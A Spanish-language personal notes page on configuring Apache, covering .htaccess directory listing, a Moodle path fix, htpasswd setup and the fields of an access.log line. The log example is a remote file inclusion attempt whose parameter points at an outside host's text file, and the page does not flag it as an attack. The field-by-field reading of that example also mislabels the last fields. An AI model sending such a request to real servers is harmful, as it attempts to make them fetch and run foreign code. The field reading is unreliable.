|
|
|
Ir a otros temas... |
Apache
INTRODUCCION
Este tema puede ser de interés si a uno le toca instalar, configurar
o administrar un sitio web, en un servidor con Linux o Unix. (En Windows también
se puede pero ya sabemos que usualmente es el IIS el que manda la paradada
en ese ambiente). Apache es un servidor de páginas web muy popular
y tiene la reputación de ser el mas estable de todos, ademas de que
es extremadamente configurable.
Si uno es un administrador de servidores WEB el manejo del Apache se vuelve
sencillo a fuerza de lidiar con él rutinariamente, pero puede ocurrir
que solo tengamos que configurarlo esporádicamente, y esta actividad
esporádica hace las cosas un tanto difícil porque la memoria
es infiel y lo que es obvio y sencillo hoy se vuelve enredado y confuso con
el paso del tiempo. Este es mi caso y estos son mis apuntes fundamentales.
Documentación sobre esto hay la que se quiera y el manual
de apache también es muy bueno. Pero veamos algunas cositas...
CONTENIDO (Caótico- evolutivo)
Como se configura
Para terminarlo
Para restringir el listado de directorios del sitio
WEB
Uploaded files give "File not found"
Si no funciona htpasswd con .htacces para proteger un
directorio
Linea estandar del access.log
Configuring
and Using Virtual Hosts in Apache
Para iniciar un entorno WEB en Windows:
Como se configura:
archivos de configuración.
Bueno, en realidad hay ciertas cosas tan buenas que funcionan solas. Apache
es una de esas cosas, sin embargo, tiene una flexibilidad y una capacidad
de configuración impresionantes. He aquí algunos apuntes que
puede ayudar:
Para terminarlo,
en windows: apache
-k shutdown
Para restringir
el listado de directorios del sitio WEB
1. En el archivo httpd.conf
En la sección donde se configura al document root,
<Directory "/var/www/html">
AllowOverride Options FileInfo
Options nos permite definir nuestras propias options en los .htacces y FileInfo
nos permite otras, tal como
ErrorDocument.
Ej de .htaccess colocado en el el root document:
/var/www/html:
Options -Indexes
ErrorDocument 403 "No tiene acceso al listado del dir."
Luego en los directorios que nos interese mostrar lo habilitamos con un .htaccess:
Options +Indexes
Uploaded files
give "File not found"
Explicacion que dio la solucion para un problema en moodle que no permitia
bajar o abrir archivos cuando la ruta era algo como dd.php/rrr/rrrr
Tomado de:
http://docs.moodle.org/en/Installation_FAQ
For example: Not Found: The requested URL /moodle/file.php/2/myfile.jpg was
not found on this server.
Your web server needs to be configured to allow the part of the URL after
a script name to be passed directly to the script. This is usually enabled
in Apache 1, but is usually disabled by default in Apache 2. To turn it on,
add this line to your httpd.conf, or to a .htaccess file in your local directory
(see Installing Moodle for more
details):
AcceptPathInfo on
Note, this will ONLY work for Apache versions 2.x.
If you are not using Apache 2 and you still have this problem (unlikely) then
you can switch Moodle to use an alternative method.
The disadvantages are a slight loss of performance for your users and you
won't be able to use relative links within HTML resources.
To use this alternative method, you should change the slasharguments variable
in the Operating System section of Administration >> Configuration >>
Variables. You should now be able to access your uploaded files.
Si no funciona htpasswd con .htacces para proteger
un directorio, verificar que en el .htaccess este especificado la ruta al
archivo htpasswd en forma de ruta ABSOLUTA.
Ejemplo:
AuthName Apache
AuthType Basic
AuthUserFile /var/www/html/edap/HTML/Docente/.htpasswd
Require valid-user
Línea estándar
del access.log (puede configurarse distinto)
1- IP del cliente
2- identidad RFC 1413 del cliente determinada por identd en la máquina
del cliente. Esta información es muy poco fiable
3- identificador de usuario de la persona que solicita el documento determinado
por la autentificación HTTP. Normalmente ese mismo valor se pasa a
los scripts CGI con la variable de entorno REMOTE_USER.
4- Fecha y hora en la que el servidor recibió la petición
5- La línea de la petición del cliente se muestra entre dobles
comillas.
6- Es el código de estado que el servidor envía de vuelta al
cliente. Esta información es muy valiosa, porque revela si la petición
fue respondida con éxito por el servidor (los códigos que empiezan
por 2), una redirección (los códigos que empiezan por 3), un
error provocado por el cliente (los códigos que empiezan por 4), o
un error en el servidor (los códigos que empiezan por 5).
7- indica el tamaño del objeto retornado por el cliente, no incluídas
las cabeceras de respuesta.
Ejemplo:
124.2.153.253 - - [12/May/2007:06:58:28 -0500] "GET /kalendar/tools/send_reminde
rs.php?includedir=http://69.93.87.223/t.txt? HTTP/1.1" 404 351 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows 98)"
1- ipcliente:124.2.153.253
2- Nada
3- Nada
4- Fecha solicitud: [12/May/2007:06:58:28 -0500]
5- Línea de petición del cliente:
"GET /kalendar/tools/send_reminders.php?includedir=http://69.93.87.223/t.txt?
HTTP/1.1"
6. Código que el servidor envía al cliente:
404 351 en este caso es indica que hubo un error causado por
el cliente.
7. El tipo de navegador del cliente y su sistema operativo
Configuring and
Using Virtual Hosts in Apache
Recomiendo el siguiente artículo en http://www.devshed.com/c/a/Apache/Configuring-and-Using-Virtual-Hosts-in-Apache/
(DevSource)
Espero que algunas de los programas, documentación y enlaces que encuentre
aquí puedan serle útiles.